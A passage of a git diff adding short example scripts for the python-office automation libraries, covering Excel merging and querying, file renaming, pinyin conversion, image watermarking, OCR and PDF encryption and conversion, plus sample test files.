:B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/16 5:52 +@本段代码的视频说明 : +''' + +import office + +office.excel.merge2excel(dir_path=r'../../contributors/bulabean', output_file='test_merge2excel.xlsx', ) diff --git "a/examples/poexcel/\345\220\214\344\270\200\344\270\252excel\351\207\214\347\232\204\344\270\215\345\220\214sheet\357\274\214\346\213\206\345\210\206\344\270\272\344\270\215\345\220\214\347\232\204excel\346\226\207\344\273\266.py" "b/examples/poexcel/\345\220\214\344\270\200\344\270\252excel\351\207\214\347\232\204\344\270\215\345\220\214sheet\357\274\214\346\213\206\345\210\206\344\270\272\344\270\215\345\220\214\347\232\204excel\346\226\207\344\273\266.py" new file mode 100644 index 0000000..312ddcf --- /dev/null +++ "b/examples/poexcel/\345\220\214\344\270\200\344\270\252excel\351\207\214\347\232\204\344\270\215\345\220\214sheet\357\274\214\346\213\206\345\210\206\344\270\272\344\270\215\345\220\214\347\232\204excel\346\226\207\344\273\266.py" @@ -0,0 +1,8 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/16 5:54 +@本段代码的视频说明 : +''' diff --git "a/examples/poexcel/\346\211\271\351\207\217\346\250\241\346\213\237\346\225\260\346\215\256.py" "b/examples/poexcel/\346\211\271\351\207\217\346\250\241\346\213\237\346\225\260\346\215\256.py" new file mode 100644 index 0000000..8fdd581 --- /dev/null +++ "b/examples/poexcel/\346\211\271\351\207\217\346\250\241\346\213\237\346\225\260\346\215\256.py" @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/15 0:30 +@本段代码的视频说明 : https://www.bilibili.com/video/BV1wr4y1b7uk/ + 可以模拟的数据类型有:https://mp.weixin.qq.com/s/xVwEjXu58WovgSi4ZTtVQw +''' + +import poexcel + +poexcel.fake2excel(columns=['name', 'text'], rows=20) diff --git "a/examples/poexcel/\346\212\212100\344\270\252Excel\344\270\255\347\254\246\345\220\210\346\235\241\344\273\266\347\232\204\346\225\260\346\215\256\357\274\214\346\261\207\346\200\273\345\210\2601\344\270\252Excel\351\207\214.py" "b/examples/poexcel/\346\212\212100\344\270\252Excel\344\270\255\347\254\246\345\220\210\346\235\241\344\273\266\347\232\204\346\225\260\346\215\256\357\274\214\346\261\207\346\200\273\345\210\2601\344\270\252Excel\351\207\214.py" new file mode 100644 index 0000000..e4730c6 --- /dev/null +++ "b/examples/poexcel/\346\212\212100\344\270\252Excel\344\270\255\347\254\246\345\220\210\346\235\241\344\273\266\347\232\204\346\225\260\346\215\256\357\274\214\346\261\207\346\200\273\345\210\2601\344\270\252Excel\351\207\214.py" @@ -0,0 +1,15 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫 +@读者群 :http://www.python4office.cn/wechat-group/ +@个人网站 :www.python-office.com +@Date :2023/3/25 17:40 +@Description : +''' +import poexcel + +poexcel.query4excel(query_content='程序员晚枫', + query_path=r'必填,放Excel文件的位置') + +# output_path = r'选填,输出查询结果Excel的位置,默认是query_path的位置', +# output_name = '选填,输出的文件名字,默认是:query4excel.xlsx' diff --git "a/examples/poexcel/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\350\257\242Excel.py" "b/examples/poexcel/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\350\257\242Excel.py" new file mode 100644 index 0000000..76497a2 --- /dev/null +++ "b/examples/poexcel/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\350\257\242Excel.py" @@ -0,0 +1,8 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/18 21:50 +@本段代码的视频说明 : +''' diff --git "a/examples/poexcel/\346\240\271\346\215\256\346\214\207\345\256\232\347\232\204\345\210\227\357\274\214\346\213\206\345\210\206excel.py" "b/examples/poexcel/\346\240\271\346\215\256\346\214\207\345\256\232\347\232\204\345\210\227\357\274\214\346\213\206\345\210\206excel.py" new file mode 100644 index 0000000..4187223 --- /dev/null +++ "b/examples/poexcel/\346\240\271\346\215\256\346\214\207\345\256\232\347\232\204\345\210\227\357\274\214\346\213\206\345\210\206excel.py" @@ -0,0 +1,16 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/8/6 17:40 +@本段代码的视频说明 : +''' + +import poexcel + +poexcel.split_excel_by_column( + filepath=r'D:\workplace\code\github\python-office\demo\poexcel\excel\split_excel_by_column.xlsx', + column=1, + worksheet_name='platform') + diff --git "a/examples/poexcel/\347\273\237\350\256\241Excel\346\211\223\345\215\260\345\207\272\346\235\245\346\234\211\345\244\232\345\260\221\351\241\265.py" "b/examples/poexcel/\347\273\237\350\256\241Excel\346\211\223\345\215\260\345\207\272\346\235\245\346\234\211\345\244\232\345\260\221\351\241\265.py" new file mode 100644 index 0000000..f265d19 --- /dev/null +++ "b/examples/poexcel/\347\273\237\350\256\241Excel\346\211\223\345\215\260\345\207\272\346\235\245\346\234\211\345\244\232\345\260\221\351\241\265.py" @@ -0,0 +1,15 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/16 19:43 +@本段代码的文档说明 :https://blog.csdn.net/weixin_42321517/article/details/131218163 +''' + +import poexcel + +# 存放Excel文件的目录 +folder_path = r"D:\程序员晚枫的文件夹\code\github\poexcel\dev" + +poexcel.count4page(folder_path) diff --git "a/examples/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-B\347\253\231.txt" "b/examples/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-B\347\253\231.txt" new file mode 100644 index 0000000..aa17a73 --- /dev/null +++ "b/examples/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-B\347\253\231.txt" @@ -0,0 +1,3 @@ +程序员晚枫 +B站 +https://space.bilibili.com/1989702333 \ No newline at end of file diff --git "a/examples/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-\345\260\217\347\272\242\344\271\246.txt" "b/examples/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-\345\260\217\347\272\242\344\271\246.txt" new file mode 100644 index 0000000..1d11ec3 --- /dev/null +++ "b/examples/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-\345\260\217\347\272\242\344\271\246.txt" @@ -0,0 +1,3 @@ +程序员晚枫 +小红书 +https://www.xiaohongshu.com/user/profile/611dcb820000000001014aca \ No newline at end of file diff --git "a/examples/pofile/\346\211\271\351\207\217\350\216\267\345\217\226\346\226\207\344\273\266\345\210\227\350\241\250.py" "b/examples/pofile/\346\211\271\351\207\217\350\216\267\345\217\226\346\226\207\344\273\266\345\210\227\350\241\250.py" new file mode 100644 index 0000000..5d4198c --- /dev/null +++ "b/examples/pofile/\346\211\271\351\207\217\350\216\267\345\217\226\346\226\207\344\273\266\345\210\227\350\241\250.py" @@ -0,0 +1,14 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/20 0:05 +@本段代码的视频说明 :https://www.bilibili.com/video/BV1ua4y1M7ya/ +''' + +# pip install pofile +import pofile + +files_list = pofile.get_files(path=r'D:\workplace\code\github\pofile\tests', name='pdf') +print(files_list) diff --git "a/examples/pofile/\346\211\271\351\207\217\351\207\215\345\221\275\345\220\215.py" "b/examples/pofile/\346\211\271\351\207\217\351\207\215\345\221\275\345\220\215.py" new file mode 100644 index 0000000..6dcc828 --- /dev/null +++ "b/examples/pofile/\346\211\271\351\207\217\351\207\215\345\221\275\345\220\215.py" @@ -0,0 +1,16 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/12 23:52 +@本段代码的视频说明 :https://www.bilibili.com/video/BV12r4y187Yj/ +''' + +import office + +office.file.replace4filename(path=r'./test_files/replace4filename', del_content='程序员晚枫') + +import pofile + +pofile.replace4filename(path=r'./test_files/replace4filename', del_content='程序员晚枫') diff --git "a/examples/pofile/\346\226\260\345\273\272\346\226\207\344\273\266\345\244\271.py" "b/examples/pofile/\346\226\260\345\273\272\346\226\207\344\273\266\345\244\271.py" new file mode 100644 index 0000000..12117e8 --- /dev/null +++ "b/examples/pofile/\346\226\260\345\273\272\346\226\207\344\273\266\345\244\271.py" @@ -0,0 +1,12 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/20 0:06 +@本段代码的视频说明 : +''' +import pofile + +path = r'd://程序员晚枫-新文件夹' +pofile.mkdir((path)) diff --git "a/examples/pofile/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\346\211\276\346\226\207\344\273\266.py" "b/examples/pofile/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\346\211\276\346\226\207\344\273\266.py" new file mode 100644 index 0000000..0c273bc --- /dev/null +++ "b/examples/pofile/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\346\211\276\346\226\207\344\273\266.py" @@ -0,0 +1,14 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/15 0:44 +@本段代码的视频说明 : +''' + +# 导入这个库:python-office,简写为office +import search4file + +# 1行代码,实现 +search4file.search_by_content(r'你的文件夹,例如:d:\\程序员晚枫的文件夹' , content="你需要查找的文件里面的内容,例如:所有平台都叫-程序员晚枫") \ No newline at end of file diff --git "a/examples/pofile/\346\243\200\346\237\245\345\220\216\347\274\200\345\220\215.py" "b/examples/pofile/\346\243\200\346\237\245\345\220\216\347\274\200\345\220\215.py" new file mode 100644 index 0000000..141ba38 --- /dev/null +++ "b/examples/pofile/\346\243\200\346\237\245\345\220\216\347\274\200\345\220\215.py" @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/8/9 22:27 +@本段代码的视频说明 : +''' + +import pofile + +is_valid = pofile.check_suffix(file_name='程序员晚枫.pdf',suffix_list=['pdf']) +print(is_valid) diff --git "a/examples/pofile/\350\207\252\345\212\250\346\225\264\347\220\206\346\226\207\344\273\266\345\244\271.py" "b/examples/pofile/\350\207\252\345\212\250\346\225\264\347\220\206\346\226\207\344\273\266\345\244\271.py" new file mode 100644 index 0000000..d8754fe --- /dev/null +++ "b/examples/pofile/\350\207\252\345\212\250\346\225\264\347\220\206\346\226\207\344\273\266\345\244\271.py" @@ -0,0 +1,14 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/20 0:04 +@本段代码的视频说明 :https://mp.weixin.qq.com/s/AVFttFz-IjZD1Ra3K-580A +''' + + +import office + +path = 'd://程序员晚枫需要整理的文件夹//' +office.file.group_by_name(path) \ No newline at end of file diff --git "a/examples/pofinance/1\343\200\201\345\215\225\346\254\241\345\201\232T.py" "b/examples/pofinance/1\343\200\201\345\215\225\346\254\241\345\201\232T.py" new file mode 100644 index 0000000..cc6d7e0 --- /dev/null +++ "b/examples/pofinance/1\343\200\201\345\215\225\346\254\241\345\201\232T.py" @@ -0,0 +1,14 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/28 11:45 +@本段代码的视频说明 : +''' + +import pofinance + +print(pofinance.t0(11.06, 11.23, 500)) +print(pofinance.t0(11.06, 35.57, 2000)) +print(pofinance.t0(14, 14.5, 300)) diff --git "a/examples/pohan/1\343\200\201\347\273\231\345\217\244\350\257\227\351\205\215\346\213\274\351\237\263.py" "b/examples/pohan/1\343\200\201\347\273\231\345\217\244\350\257\227\351\205\215\346\213\274\351\237\263.py" new file mode 100644 index 0000000..9272785 --- /dev/null +++ "b/examples/pohan/1\343\200\201\347\273\231\345\217\244\350\257\227\351\205\215\346\213\274\351\237\263.py" @@ -0,0 +1,26 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/30 2:59 +@本段代码的视频说明 : +''' + +# pip install pohan +import pohan +from pohan.pinyin.pinyin import Style + +line1 = "床前明月光" + +# 不带声调的 +pinyin_list = pohan.pinyin.han2pinyin(line1, style=Style.NORMAL) +print(f'不带声调的结果:{pinyin_list}') + +# 带声调的 +pinyin_list = pohan.pinyin.han2pinyin(line1, style=Style.TONE) +print(f'带声调的结果:{pinyin_list}') + +# 带数字声调的 +pinyin_list = pohan.pinyin.han2pinyin(line1, style=Style.TONE3) +print(f'带数字声调的结果:{pinyin_list}') diff --git "a/examples/poimage/test_files/add_watermark/mark_img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" "b/examples/poimage/test_files/add_watermark/mark_img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" new file mode 100644 index 0000000..c9d49e8 Binary files /dev/null and "b/examples/poimage/test_files/add_watermark/mark_img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" differ diff --git "a/examples/poimage/test_files/add_watermark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" "b/examples/poimage/test_files/add_watermark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" new file mode 100644 index 0000000..7e09de2 Binary files /dev/null and "b/examples/poimage/test_files/add_watermark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" differ diff --git a/examples/poimage/test_files/del_watermark/del_watermark.jpg b/examples/poimage/test_files/del_watermark/del_watermark.jpg new file mode 100644 index 0000000..719707d Binary files /dev/null and b/examples/poimage/test_files/del_watermark/del_watermark.jpg differ diff --git a/examples/poimage/test_files/del_watermark/img.png b/examples/poimage/test_files/del_watermark/img.png new file mode 100644 index 0000000..f52ddbe Binary files /dev/null and b/examples/poimage/test_files/del_watermark/img.png differ diff --git "a/examples/poimage/test_files/\344\270\213\350\275\275\345\233\276\347\211\207/B\347\253\231\357\274\232\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.jpg" "b/examples/poimage/test_files/\344\270\213\350\275\275\345\233\276\347\211\207/B\347\253\231\357\274\232\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.jpg" new file mode 100644 index 0000000..922cd69 Binary files /dev/null and "b/examples/poimage/test_files/\344\270\213\350\275\275\345\233\276\347\211\207/B\347\253\231\357\274\232\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.jpg" differ diff --git "a/examples/poimage/\344\270\213\350\275\275\345\233\276\347\211\207.py" "b/examples/poimage/\344\270\213\350\275\275\345\233\276\347\211\207.py" new file mode 100644 index 0000000..98816ad --- /dev/null +++ "b/examples/poimage/\344\270\213\350\275\275\345\233\276\347\211\207.py" @@ -0,0 +1,20 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/8/9 22:30 +@本段代码的视频说明 : +''' + +# 导入这个库:python-office,简写为office +import office + +office.image.down4img( + url='https://cos.python-office.com/icon2.jpg', + output_name='./test_files/下载图片/B站:程序员晚枫', + type='jpg') +# 参数说明: +# url:你要下载的图片链接 +# output_name:下载后的图片名称,可以不填,默认:down4img +# type:下载后的图片类型,可以不填,默认:jpg diff --git "a/examples/poimage/\345\233\276\347\211\207\345\212\240\346\260\264\345\215\260.py" "b/examples/poimage/\345\233\276\347\211\207\345\212\240\346\260\264\345\215\260.py" new file mode 100644 index 0000000..f8cb42d --- /dev/null +++ "b/examples/poimage/\345\233\276\347\211\207\345\212\240\346\260\264\345\215\260.py" @@ -0,0 +1,14 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/20 0:08 +@本段代码的视频说明 : +''' +# 给图片加水印 +import office + +office.image.add_watermark(file='./test_files/add_watermark/程序员晚枫-2.jpg', + mark='程序员晚枫', + output_path=r'./test_files/add_watermark/mark_img') diff --git "a/examples/poimage/\345\233\276\347\211\207\345\216\273\346\260\264\345\215\260.py" "b/examples/poimage/\345\233\276\347\211\207\345\216\273\346\260\264\345\215\260.py" new file mode 100644 index 0000000..2f63e7f --- /dev/null +++ "b/examples/poimage/\345\233\276\347\211\207\345\216\273\346\260\264\345\215\260.py" @@ -0,0 +1,17 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/8/9 22:36 +@本段代码的视频说明 : +''' + +# pip install poimage,可以使用清华大学的仓库下载:https://www.bilibili.com/video/BV1SM411y7vw +import poimage + +# 支持jpg、png等所有图片格式 +# 注意:图片的路径和名称,都不能有中文! +poimage.del_watermark( + input_image=r"D:\workplace\code\github\python-office\demo\poimage\test_files\del_watermark\img.png", + output_image=r'./test_files/del_watermark/del_watermark.jpg') diff --git "a/examples/poimage/\346\226\207\346\234\254\350\275\254\350\257\215\344\272\221.py" "b/examples/poimage/\346\226\207\346\234\254\350\275\254\350\257\215\344\272\221.py" new file mode 100644 index 0000000..4a849cf --- /dev/null +++ "b/examples/poimage/\346\226\207\346\234\254\350\275\254\350\257\215\344\272\221.py" @@ -0,0 +1,11 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/8/9 22:48 +@本段代码的视频说明 : +''' +import poimage + +poimage.txt2wordcloud() diff --git a/examples/poimage_demo/compress_image.py b/examples/poimage_demo/compress_image.py new file mode 100644 index 0000000..a26de36 --- /dev/null +++ b/examples/poimage_demo/compress_image.py @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫 +@读者群 :http://www.python4office.cn/wechat-group/ +@个人网站 :www.python-office.com +@Date :2023/7/3 23:46 +@Description : +''' +import office + +office.image.compress_image(input_file=r'D:\workplace\code\github\poimage\tests\头像.jpg', + output_file="compressed.jpg", + quality=50) # 质量,1-100之间,数值越低压缩率越高 diff --git "a/examples/poocr/\350\257\206\345\210\253\351\223\266\350\241\214\345\215\241.py" "b/examples/poocr/\350\257\206\345\210\253\351\223\266\350\241\214\345\215\241.py" new file mode 100644 index 0000000..7f9de32 --- /dev/null +++ "b/examples/poocr/\350\257\206\345\210\253\351\223\266\350\241\214\345\215\241.py" @@ -0,0 +1,22 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/26 0:02 +@本段代码的视频说明 : +''' + +# pip install poocr +import poocr + +# 获取id和key的地址:https://cloud.tencent.com/act/cps/redirect?redirect=36394&cps_key=ca76be5a2293ba3906d6d5407aea15ee +id = '获取方式👆' +key = '获取方式👆' + +# 全部功能 的文档:https://mp.weixin.qq.com/s/WxICBZZSgkm-OrvXB82hbg +result = poocr.ocr.BankCardOCR( + # 可以填写本地图片的地址:img_path,也可以填写在线图片的地址:img_url ,如果2个都填,则只用在线图片img_url + img_path=r'D:\workplace\code\程序员晚枫\全网同名\银行卡照片.jpg', + id=id, key=key) +print(result) # 输出json格式的识别结果 diff --git "a/examples/poocr/\351\200\232\347\224\250\346\226\207\345\255\227\350\257\206\345\210\253.py" "b/examples/poocr/\351\200\232\347\224\250\346\226\207\345\255\227\350\257\206\345\210\253.py" new file mode 100644 index 0000000..65fecd8 --- /dev/null +++ "b/examples/poocr/\351\200\232\347\224\250\346\226\207\345\255\227\350\257\206\345\210\253.py" @@ -0,0 +1,21 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/25 22:52 +@本段代码的视频说明 : +''' +# pip install poocr +import poocr + +# 获取id和key的地址:https://cloud.tencent.com/act/cps/redirect?redirect=36394&cps_key=ca76be5a2293ba3906d6d5407aea15ee +id = '获取方式👆' +key = '获取方式👆' + +# 全部功能 的文档:https://mp.weixin.qq.com/s/WxICBZZSgkm-OrvXB82hbg +result = poocr.ocr.GeneralBasicOCR( + # 可以填写本地图片的地址:img_path,也可以填写在线图片的地址:img_url ,如果2个都填,则只用在线图片img_url + img_path=r'D:\workplace\code\程序员晚枫\全网同名\普通照片.jpg', + id=id, key=key) +print(result) # 输出json格式的识别结果 diff --git "a/examples/popdf/PDF\345\212\240\345\257\206.py" "b/examples/popdf/PDF\345\212\240\345\257\206.py" new file mode 100644 index 0000000..675a74b --- /dev/null +++ "b/examples/popdf/PDF\345\212\240\345\257\206.py" @@ -0,0 +1,18 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/18 22:05 +@本段代码的视频说明 : +''' + +# 导入这个库 +import office + +# PDF加密:填写你的文件位置和密码 +office.pdf.encrypt4pdf(path='./test_files/encrypt4pdf/程序员晚枫(作品合集).pdf', password='你想添加的密码') + +# 参数说明: +# path:你的文件位置,例如:D:\work\参考.pdf +# password:你的密码,可以随意设置,不能为空 \ No newline at end of file diff --git "a/examples/popdf/PDF\345\212\240\346\260\264\345\215\260.py" "b/examples/popdf/PDF\345\212\240\346\260\264\345\215\260.py" new file mode 100644 index 0000000..f15f2d1 --- /dev/null +++ "b/examples/popdf/PDF\345\212\240\346\260\264\345\215\260.py" @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/17 22:37 +@本段代码的视频说明 : +''' + +import office + +office.pdf.add_mark(pdf_file=r'./test_files/add_mark/程序员晚枫(没加水印).pdf', mark_str='程序员晚枫', + output_path=r'./test_files/add_mark/output', output_file_name='程序员晚枫(加了水印).pdf') diff --git "a/examples/popdf/PDF\350\247\243\345\257\206.py" "b/examples/popdf/PDF\350\247\243\345\257\206.py" new file mode 100644 index 0000000..9d7b52f --- /dev/null +++ "b/examples/popdf/PDF\350\247\243\345\257\206.py" @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/18 22:07 +@本段代码的视频说明 : +''' +# 导入这个库:python-office,简写为:office +import office + +# PDF解密:填写你的文件位置和密码 +office.pdf.decrypt4pdf(path='你的加密文件.pdf', password='该文件的密码') \ No newline at end of file diff --git "a/examples/popdf/TXT\350\275\254PDF.py" "b/examples/popdf/TXT\350\275\254PDF.py" new file mode 100644 index 0000000..6723da0 --- /dev/null +++ "b/examples/popdf/TXT\350\275\254PDF.py" @@ -0,0 +1,12 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/18 22:01 +@本段代码的视频说明 : +''' + +import office + +office.pdf.txt2pdf(path=r'./test_files/txt2pdf/程序员晚枫.txt', res_pdf='txt2pdf.popdf', output_path=r'./test_files/txt2pdf/output') diff --git a/examples/popdf/pdf_demo.py b/examples/popdf/pdf_demo.py new file mode 100644 index 0000000..9513d0c --- /dev/null +++ b/examples/popdf/pdf_demo.py @@ -0,0 +1,12 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫 +@读者群 :http://www.python4office.cn/wechat-group/ +@个人网站 :www.python-office.com +@Date :2023/3/24 23:05 +@Description : +''' +import office + +office.pdf.add_watermark_by_parameters(pdf_file=r'D:\workplace\code\github\popdf\tests\test_files\pdf\in.popdf', + mark_str='python-office') diff --git "a/examples/popdf/pdf\350\275\254word.py" "b/examples/popdf/pdf\350\275\254word.py" new file mode 100644 index 0000000..be3914a --- /dev/null +++ "b/examples/popdf/pdf\350\275\254word.py" @@ -0,0 +1,22 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/15 0:40 +@本段代码的视频说明 : +''' + +# pip install python-office +import office # 导入第三方库 + +office.pdf.pdf2docx(file_path=r'D:\pdf\程序员晚枫.pdf', + output_path=r'D:\download') + + +# 上面这种是Windows用户 +# 尊贵的Mac和Linux用户 +# pip install popdf +# import popdf +# popdf.pdf2docx(file_path=r'D:\workplace\code\github\python-office\examples\popdf\test_files\pdf2docx\程序员晚枫.pdf', +# output_path=r'./test_files/pdf2docx/output') diff --git "a/examples/popdf/pdf\350\275\254\345\233\276\347\211\207.py" "b/examples/popdf/pdf\350\275\254\345\233\276\347\211\207.py" new file mode 100644 index 0000000..7a3a63f --- /dev/null +++ "b/examples/popdf/pdf\350\275\254\345\233\276\347\211\207.py" @@ -0,0 +1,19 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/18 22:09 +@本段代码的视频说明 : +''' +# 导入这个库:python-office,简写为office +import office + +# 一行代码,实现转换 +office.pdf.pdf2imgs( + pdf_path='D://程序员晚枫的文件夹//程序员晚枫.pdf', + out_dir='./点赞+关注文件夹' +) +# 参数说明: +# pdf_path = 你的PDF文件的地址 +# out_dir = 转换后的图片存放地址,可以不填,默认是PDF的地址 \ No newline at end of file diff --git a/examples/popdf/test_files/add_mark/32012356985422-watermark.pdf b/examples/popdf/test_files/add_mark/32012356985422-watermark.pdf new file mode 100644 index 0000000..94d043a Binary files /dev/null and b/examples/popdf/test_files/add_mark/32012356985422-watermark.pdf differ diff --git "a/examples/popdf/test_files/add_mark/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\345\212\240\344\272\206\346\260\264\345\215\260\357\274\211.pdf" "b/examples/popdf/test_files/add_mark/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\345\212\240\344\272\206\346\260\264\345\215\260\357\274\211.pdf" new file mode 100644 index 0000000..7dadbde Binary files /dev/null and "b/examples/popdf/test_files/add_mark/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\345\212\240\344\272\206\346\260\264\345\215\260\357\274\211.pdf" differ diff --git "a/examples/popdf/test_files/add_mark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\346\262\241\345\212\240\346\260\264\345\215\260\357\274\211.pdf" 